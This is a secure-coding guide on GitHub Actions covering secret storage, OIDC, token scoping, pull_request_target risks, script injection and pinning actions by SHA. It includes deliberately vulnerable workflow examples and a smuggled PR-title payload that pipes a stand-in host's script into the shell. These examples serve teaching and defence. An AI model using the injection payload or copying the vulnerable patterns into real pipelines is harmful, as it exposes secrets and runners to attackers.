Secrets and Security in GitHub Actions
Store and use secrets safely, use OIDC to kill long-lived cloud keys, scope the GITHUB_TOKEN, avoid pull_request_target and script injection, and pin actions by SHA.
CI is one of the most attractive targets in your whole stack: it holds the keys to your cloud accounts, your registries, and your production deploys, and it runs code on every push. GitHub Actions makes it easy to wire all of that up, and just as easy to leak a credential into a log or hand your deploy keys to a stranger's pull request. This guide walks the security decisions that actually matter - how to store and use secrets, how to stop passing long-lived cloud keys around at all, how to scope the token GitHub hands every workflow, and the two traps (untrusted PR code and script injection) that turn a helpful workflow into a breach.
Storing secrets: repo, environment, and org scopes
You never put a password, token, or key in a workflow file. Anything committed to the repo is readable by anyone with access to the code and lives forever in git history. Instead you store secrets in GitHub's encrypted secret store, at one of three scopes:
- Repository secrets - available to every workflow in one repository. The default place for things a single repo needs (a deploy token, an API key).
- Environment secrets - attached to a named environment (
production,staging) and only readable by a job that targets that environment. This is how you keep prod credentials away from every random workflow, and it lets you add required reviewers and wait timers before a job can even see them. - Organization secrets - shared across many repos, with a policy for which repos may use them. Good for a credential lots of repos need, so you rotate it in one place instead of fifty.
You read a secret in a workflow through the secrets context. It is injected at runtime and never appears in the file:
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # unlocks this environment's secrets + gates
steps:
- name: Call the API
env:
API_TOKEN: ${{ secrets.API_TOKEN }}
run: ./deploy.sh
GitHub automatically masks secret values in logs: if the exact string of a secret would be printed, it is replaced with ***. That is a useful safety net, but treat it as a net, not a strategy - it only catches the literal value. Transform the secret (base64 it, slice it, print it a character at a time) and the masking no longer matches, and it leaks in the clear. The rule is not "masking saves me," it is "do not print secrets at all."
Using secrets without leaking them
Two habits keep secrets out of logs and out of the wrong hands.
Pass secrets through env, not inline on the command. When you interpolate a secret directly into a run: string, it can end up in the rendered command and in traces. Bind it to an environment variable and let the process read it from the environment:
# Good - the value lives in the environment, the shell never sees it as text
- env:
DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
run: psql -c "SELECT 1"
# Bad - do not echo, print, or debug-dump secrets
- run: echo "token is ${{ secrets.API_TOKEN }}"
Never pass secrets to code you do not control. A run: step, a third-party action, or a script fetched from the internet all execute with whatever secrets you hand them. A malicious or compromised action that receives your cloud key can exfiltrate it in a single line, and masking will not save you because the action can encode it first. Give each step only the secrets it genuinely needs, and be especially careful about which secrets you expose to third-party actions.
OIDC: stop storing cloud credentials entirely
The biggest single win in Actions security is deleting your long-lived cloud keys. A stored AWS_SECRET_ACCESS_KEY is a standing liability: it does not expire, it is only as safe as your secret store and everyone who can trigger a workflow, and rotating it is a chore everyone puts off. OpenID Connect (OIDC) removes the need for it.
With OIDC, GitHub mints a short-lived, signed identity token for each workflow run. Your cloud provider is configured to trust GitHub's OIDC issuer and to exchange that token for temporary credentials, but only for workflows that match conditions you set (a specific repo, branch, or environment). Nothing long-lived is ever stored. The credentials the job receives are valid for minutes and scoped to exactly what you allow.
To request the token, the job needs the id-token: write permission. Here is the pattern for AWS - the cloud-specific login actions for GCP and Azure work the same way:
permissions:
id-token: write # required to request the OIDC token
contents: read # keep everything else read-only
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/github-deploy
aws-region: us-east-1
# no AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY anywhere
- run: aws s3 sync ./dist s3://my-bucket
The trust policy on the cloud side is where the real security lives: you scope the role so only your repo, and ideally only a specific branch or environment, can assume it. That means even someone who forks your repo cannot obtain credentials, because their token claims will not match the trust condition. Use OIDC anywhere you deploy from Actions - see the CD deployments guide for how this fits into a full pipeline.
The GITHUB_TOKEN and least privilege
Every workflow run gets an automatic GITHUB_TOKEN (readable as ${{ secrets.GITHUB_TOKEN }}) that can act on the repository - push commits, comment on PRs, create releases, publish packages. You did not create it and you cannot see its value, but it is a real, powerful credential, and misusing it is how a compromised step turns into a compromised repo.
The single most important control is scoping its permissions down. By default a repo's token may be broad (historically read-write across most scopes). You override that per workflow or per job with a permissions block, and the safest habit is to start from nothing and grant only what the job uses:
# Set a restrictive default for the whole workflow
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
permissions: # widen ONLY this job, only where needed
contents: write # to create a git tag / release
packages: write # to push an image to GHCR
steps:
- uses: actions/checkout@v4
- run: ./publish.sh
Setting permissions: {} grants nothing; naming a scope grants exactly that. Declaring permissions at the workflow level sets a floor, and a job block can narrow or widen for that job alone. The point is that if a step is compromised, a read-only token cannot push malicious commits or overwrite releases - you have contained the blast radius before anything goes wrong. As an org-wide setting, configure the default GITHUB_TOKEN permissions to read-only so every new workflow starts locked down.
pull_request_target and untrusted PR code
For a public repo, anyone can open a pull request, and that PR contains code the author controls. The pull_request trigger is built for this safely: it runs in a restricted context where the GITHUB_TOKEN is read-only and secrets are not available, precisely because the code is untrusted.
The pull_request_target trigger is the sharp edge. It exists so a workflow can comment on or label PRs from forks, and to do that it runs in the context of the base repo, with full secret access and a read-write token - but it checks out the base branch by default, not the PR's code. The danger is checking out and running the PR's code under that privileged context:
# DANGEROUS - do not do this
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker's code
- run: npm install && npm run build # runs it with your secrets + token
That workflow hands a stranger's code your secrets and a write token. An attacker just adds a malicious build script to their PR and drains your credentials on submit. The rules:
- Use plain
pull_requestfor anything that builds or runs PR code. It has no secrets and a read-only token by design. - Use
pull_request_targetonly for trusted, code-independent tasks (labeling, commenting) and do not check out or execute the PR's code within it. - If a fork's PR truly needs privileged CI, gate it behind an environment with required reviewers, so a maintainer approves before any secret is exposed.
Script injection through untrusted inputs
Even without pull_request_target, there is a subtler way untrusted input becomes code execution. When you interpolate a ${{ ... }} expression directly into a run: block, GitHub substitutes the value into the shell script before the shell runs it. If that value is attacker-controlled - a PR title, a branch name, an issue body, a comment - the attacker can inject shell commands:
# VULNERABLE - the PR title is pasted straight into the shell
- run: echo "Building PR: ${{ github.event.pull_request.title }}"
A pull request titled "; curl evil.sh | sh # turns that line into a command that runs the attacker's script on your runner. The fix is to never inline untrusted ${{ github.event.* }} values into scripts. Pass them through an environment variable instead, so the shell treats the value as data, not code:
# SAFE - the title arrives as an env var, the shell never parses it as commands
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Building PR: $PR_TITLE"
The distinction is exactly the same as SQL parameterization: ${{ }} interpolation splices text into the program, while env: binds a value the program reads. Treat every field under github.event.* that a user can set - titles, bodies, branch and ref names, commit messages, author names - as hostile, and route it through env.
Pinning third-party actions to a commit SHA
uses: some/action@v3 looks like a version, but a git tag is mutable - the owner (or someone who compromises their account) can move v3 to point at new, malicious code, and your next run pulls it automatically. Since third-party actions run in your workflow with access to whatever you pass them, a hijacked tag is a supply-chain compromise.
Pin third-party actions to a full commit SHA, which is immutable. A SHA cannot be repointed, so you run exactly the code you reviewed until you deliberately update:
# Fragile - a tag can be moved to point at malicious code
- uses: some/action@v3
# Pinned - a full 40-char SHA is immutable; the comment tracks the version
- uses: some/action@a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 # v3.1.0
GitHub's own first-party actions (actions/checkout, actions/setup-node) are lower risk and commonly pinned to a major tag for convenience, but for anything third-party the SHA is the safe default, especially in workflows that touch secrets or deploys.
Keeping pins current with Dependabot
Pinning to a SHA solves the hijack problem but creates a staleness one: pinned actions never update, so you miss security fixes. Dependabot closes the loop. Point it at your workflows and it opens pull requests that bump each action to a newer SHA, with the version in the commit, so you get a reviewable, one-click update instead of a silent drift or a never-updated pin:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
The same file can update your language dependencies (npm, pip, Go modules) and Dockerfiles. Turn on GitHub's secret scanning and push protection too, so a credential accidentally committed to the repo is caught before it ships. The combination - Dependabot for updates, secret scanning for leaks - is cheap to enable and catches a whole class of problems automatically.
The shape of it
Actions security comes down to controlling what runs and what it can reach. Store secrets in the right scope (repo, environment, or org) and never print them or hand them to code you do not control - masking is a net, not a plan. Replace long-lived cloud keys with OIDC and the id-token: write permission so credentials are short-lived and scoped to your repo. Scope the GITHUB_TOKEN down with a permissions block that starts from read-only and grants only what a job needs. Keep untrusted code at arm's length: use plain pull_request (not pull_request_target) for anything that runs PR code, and route every github.event.* field through env: so it cannot inject shell commands. Pin third-party actions to a full commit SHA, and let Dependabot keep those pins current. Each of these contains a blast radius before it becomes an incident, which is the whole job.